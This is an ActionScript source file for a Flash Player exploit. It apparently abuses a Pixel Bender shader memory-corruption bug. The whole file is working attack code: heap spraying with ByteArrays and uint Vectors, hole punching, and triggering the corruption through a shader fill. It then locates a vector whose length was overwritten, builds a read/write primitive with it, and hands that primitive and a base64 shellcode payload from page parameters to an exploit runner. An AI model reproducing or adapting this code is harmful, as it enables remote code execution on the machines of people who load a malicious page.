package
{
    import flash.display.Shader
    import flash.display.Sprite
    import flash.display.LoaderInfo
    import mx.utils.Base64Decoder
    import flash.utils.ByteArray
    import flash.geom.Point
    import flash.utils.Endian

    public class Exploit extends Sprite
	{
        private var uv:Vector.<uint>
        private var canvas:Sprite
        private var filler_shader:Shader
        private var transformation_shader:Shader
        private var top_middle:Point
        private var bottom_left:Point
        private var bottom_right:Point
        
        private var b64:Base64Decoder = new Base64Decoder()
        private var payload:ByteArray
        private var platform:String
        private var os:String
        private var exploiter:Exploiter
                        
        [Embed ( source="test_bin.pbj", mimeType="application/octet-stream" ) ]
        private static var FillerPbj:Class
        [Embed ( source="pbsrc_bin.pbj", mimeType="application/octet-stream" ) ]
        private static var TransformationPbj:Class

        private var uint_vectors_length:uint = 70000
        private var ba_vector_length:uint = 5000
        private var ba_length:int = 0x2000
        private var uint_vectors:Vector.<Object>
        private var ba_vector:Vector.<Object>
        
        public function Exploit()
        {
            platform = LoaderInfo(this.root.loaderInfo).parameters.pl
            os = LoaderInfo(this.root.loaderInfo).parameters.os
            var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
            var pattern:RegExp = / /g;
            b64_payload = b64_payload.replace(pattern, "+")
            b64.decode(b64_payload)
            payload = b64.toByteArray()
            
            canvas = new Sprite()
            addChild(canvas)
            var size:uint = 400

            top_middle = new Point(size / 2, 10)
            bottom_left = new Point(0, size - 10)
            bottom_right = new Point(size, size - 10)
            do_exploit()
        }
                
        private function do_exploit():void
        {
            setup_shaders()
            apply_shader_to_exploit()
        }
		
        private function setup_shaders():void
        {
            transformation_shader = new Shader(new TransformationPbj())
			
            ba_vector = new Vector.<Object>(ba_vector_length)
            uint_vectors = new Vector.<Object>(uint_vectors_length)
			
            // Initialize uint vectors
            for(var i:uint = 0; i < uint_vectors_length; i++) // 70000
            {
                uint_vectors[i] = new Vector.<uint>()
            }

            // Allocate Byte Arrays
            for(i = 0; i < ba_vector_length; i++) // 5000
            {
                ba_vector[i] = new ByteArray()
                ba_vector[i].endian = "littleEndian"
                ba_vector[i].length = ba_length // 0x2000
                fill_byte_array(ba_vector[i], 0x35555555)
                ba_vector[i].writeInt(0xbabefac0)
                ba_vector[i].writeInt(0xbabefac1)
                ba_vector[i].writeInt(i)
                ba_vector[i].writeInt(0xbabefac3)
            }
			
            // Make holes
            for(i = 5000 / 3; i < ba_vector_length; i = i + 3) // 5000
            {
                fill_byte_array(ba_vector[i], 0x37777777)
                ba_vector[i].clear()
                ba_vector[i] = null
            }
			
            // Setup shader
            filler_shader = new Shader(new FillerPbj()) //test_bin.pbj 
            filler_shader.data.point1.value = [top_middle.x, top_middle.y]
            filler_shader.data.point2.value = [bottom_left.x, bottom_left.y]
            filler_shader.data.point3.value = [bottom_right.x, bottom_right.y]
        }
		
        final private function fill_byte_array(ba:ByteArray, value:int):void 
        {
            ba.position = 0
            var i:uint = 0
            while (i < ba.length / 4)
            {
                ba.writeInt(value)
                i = i + 1
            }
            ba.position = 0
            return
        }
		
        private function apply_shader_to_exploit():void
        {	
            try {
                filler_shader.data.point3 = transformation_shader.data.positionTransformation27
            } catch(err:Error) {
                Logger.log("Error!")
            }
			
            filler_shader.data.color1.value = [1, 1, 1, 1]
            
            // Trigger corruption with the hope of modify one of the sprayed byte arrays
            canvas.graphics.clear()
            canvas.graphics.beginShaderFill(filler_shader)
            canvas.graphics.moveTo(top_middle.x, top_middle.y)
            canvas.graphics.lineTo(bottom_left.x, bottom_left.y)
            canvas.graphics.lineTo(bottom_right.x, bottom_right.y)
            canvas.graphics.endFill()
            
            // Search the BA whose data has been corrupted
            var test:uint
            var mod_idx:uint = 0xffffffff
            for(var i:uint = 0; i< ba_vector_length; i++) { // 5000
                if (ba_vector[i] != null) {
                    ba_vector[i].position = 32
                    test = ba_vector[i].readUnsignedInt()
                    if (test != 0x35555555) {
                        mod_idx = i
                        break
                    }
                }
            }
            
            if (mod_idx == 0xffffffff) {
                Logger.log("[*] Exploit - apply_shader_to_exploit(): Modified ba not found... aborting")
                return
            }
			
            // Clear the modified BA, we need a hole there =)
            fill_byte_array(ba_vector[mod_idx], 0x39999999)
            ba_vector[mod_idx].clear()
            ba_vector[mod_idx] = null

            // Fill the BA space with well positioned Vector.<uint>'s, hopefully...
            for(i = 0; i < uint_vectors_length; i++) // 70000
            {
                uint_vectors[i].length = 0x13e
                uint_vectors[i][0] = 0xcccccccc
                uint_vectors[i][1] = i
                uint_vectors[i][2] = 0xaaaaaaaa
            }

            // Corrupt again, hopefully one of our vector lengths =)
            canvas.graphics.beginShaderFill(filler_shader)

            var corrupted:uint = 0xffffffff
            for(i = 0; i < uint_vectors_length; i++) // 70000
            {
                if (uint_vectors[i].length != 0x13e) {
                    corrupted = i
                    break 
                }
			}
			
            if (corrupted == 0xffffffff) {
                Logger.log("[*] Exploit - apply_shader_to_exploit(): Corrupted vector not found... aborting")
                return
            }
			
            var offset:uint = 0xffffffff
            for(i = 0; i < 2048; i++)
            {
            	if (uint_vectors[corrupted][i] == 0x13e && uint_vectors[corrupted][i+2] == 0xcccccccc) 
            	{
            		uint_vectors[corrupted][i] = 0xffffffff
                    offset = i
            		break
            	}
            }
            
            if (offset == 0xffffffff) {
                Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector for manual corruption not found... aborting")
                return
            }
			
            for(i = 0; i < uint_vectors_length; i++) // 70000
            {
            	if (uint_vectors[i].length == 0xffffffff) {
            		uv = uint_vectors[i]
            		break 
            	}
            }
            
            if (uv == null) {
                Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector manually corrupted not found... aborting")
                return
            }
			
            var my_offset:uint = 0x3ffffffe - offset - 2
            uv[my_offset] = 0x13e

            for(i = 0; i < ba_vector_length; i++) { // 5000
                if (ba_vector[i] != null) {
                    ba_vector[i].clear()
                    ba_vector[i] = null
                }
            }
            
            for(i = 0; i < uint_vectors_length; i++) // 70000
            {
                if (uint_vectors[i].length != 0xffffffff) {
                    delete(uint_vectors[i])
                    uint_vectors[i] = null
                }
            }
            
            exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e)
        }

    }
}
